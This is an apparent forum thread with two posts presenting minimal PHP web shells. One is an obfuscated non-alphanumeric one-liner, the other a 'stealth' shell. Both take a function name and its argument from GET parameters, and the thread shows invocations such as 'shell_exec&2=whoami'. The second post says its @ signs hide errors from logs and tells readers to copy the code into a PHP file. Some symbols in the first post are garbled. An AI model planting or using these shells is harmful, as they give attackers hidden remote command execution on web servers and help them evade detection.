<?=${'_'.$_}['_'](${'_'.$_}['__']);?> The first part converts a string into an array by attempting to assign to “0? position of the string. Then I make sure the array is a string. Then I use “A” from array with bitwise operators to construct “G”, “E” and “T” using the characters “A”|0×6, “A”|0×5 and “A^0×15?. There you have it,you could even generate non-alpha code without using GET quite easily by producing different characters until you get an eval method. To call the shell you’d use: ?_=shell_exec&__=whoami Don’t forget in order to analyze php code use RIPS if you ever encounter this in the wild. Non alphanumeric code in PHP
  22. Have you ever needed a small shell written in PHP? Of course you have. But I bet it haven't been all too stealth! This is really pointless, but someone might be interested in it. So here you go folks! <?=($_=@$_GET[2]).@$_($_GET[1])?> it doesn't look like much so let me explain. PHP allows strings to be interpreted as function calls. That's a major part on how callbacks in PHP work. Example: <? $array = array(1,2,3); array_walk($array, 'f'); function f($x){echo $x * 2;} ?> What the following example does, is that array_walk() iterates through the array $array and applies the function f() on each and every element in the list. The function f() prints out the value from the array and multiplies it by two. The output results in: 246. The fun thing is, if you look on how the callback f() is applied - it's by a simple string. (Look at argument #2 in the first function; array_walk()). What does that mean? Well, to put it short, you're able to take a string - and execute it as a function name. Now, let's try something... fuzzier... <? $fuzz = 'phpinfo'; $fuzz(); ?> What might this do? Will it execute? Damn right. Now let's tear my tiny code apart. It's made out of two parts. $_=@$_GET[2] @$_($_GET[1]) The first part takes the value from the GET-variable 2 and stores it in the temporary variable $_. The second part takes our temporary variable $_, and executes it with the GET-variable 1 as it's one-and-only argument. The @'s are only there for suppressing notices, warnings and/or fatals from showing up in logs, to the user or whatever else that might catch them. Conclusion: Copy and paste the snippet, and store it in a PHP-file. Execute a shell by going to: copypaste.php?1=shell_exec&2=whoami The response should be something like: apache ...or as on Windows if you're running your server as a service: nt authority/system. Conclusion; PHP is fun!
×
×
  • Create New...